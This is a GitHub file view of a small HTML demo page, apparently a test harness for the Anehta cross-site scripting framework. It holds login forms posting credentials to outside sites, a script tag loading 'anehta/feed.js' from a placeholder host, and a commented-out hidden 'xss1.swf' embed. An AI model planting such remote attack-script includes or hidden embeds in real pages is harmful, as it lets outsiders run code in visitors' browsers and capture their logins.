-
Notifications
You must be signed in to change notification settings - Fork 3
/
demo.html
55 lines (40 loc) · 1.37 KB
/
demo.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<html><meta http-equiv=content-type content="text/html; charset=utf-8">
<head>
ssssssssssssssssss
<script type="text/javascript">
function function1(a, b){
//alert(a);
//alert(b);
document.getElementsByName("form1")[0].submit();
//document.write("<iframe src='http://www.baidu.com' width=400 height=400 ></iframe>");
//onsubmit="return function1();
}
</script>
</head>
<body>
<form name="form1" id="form1" method="post" action="http://www.baidu.com" onsubmit="return function1();" >
<input type="text" id="username" name="username" size="10" />
<br />
<input type="password" name="password" size="10" />
<br />
<input type="submit" value="submit" />
</form>
<form name="form2" method="post" action="http://www.google.com" >
<input type="text" name="username" size="10" />
<br />
<input type="password" name="password" size="10" />
<br />
<input type="submit" value="submit" />
</form>
<!-- iframe id="test" name="test" onmouseover="return ok();" src="http://www.baidu.com" width="300" height="300" ></iframe -->
<script>
function ok(){
alert(/ok1/);
}
</script>
<script src=http://www.a.com/anehta/feed.js ></script>
<a src="#" onclick="function1('a', 'b');" >aaaaaa</a>
<a id="ln" href="http://www.taobao.com" >taobao</a>
<!-- EMBED SRC="xss1.swf" AllowScriptAccess="always" width=0 height=0></EMBED> -->
</body>
</html>